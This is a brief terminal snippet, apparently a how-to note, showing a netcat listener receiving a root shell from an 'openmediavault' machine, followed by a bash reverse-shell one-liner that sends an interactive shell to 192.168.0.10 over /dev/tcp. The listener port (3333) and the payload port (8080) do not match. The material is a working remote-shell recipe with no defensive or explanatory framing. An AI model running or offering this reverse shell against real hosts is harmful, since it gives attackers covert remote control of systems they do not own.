This is un-encrypted connection
home@home:~$ netcat -v -l -p 3333
Listening on 0.0.0.0 3333
Connection received on 192.168.122.45 44502
root@openmediavault:~# w
w
14:20:28 up 6 min, 1 user, load average: 0.04, 0.04, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 14:14 20.00s 0.14s 0.01s w
######### On remote host(shell access you want)##########
bash -i >& /dev/tcp/192.168.0.10/8080 0>&1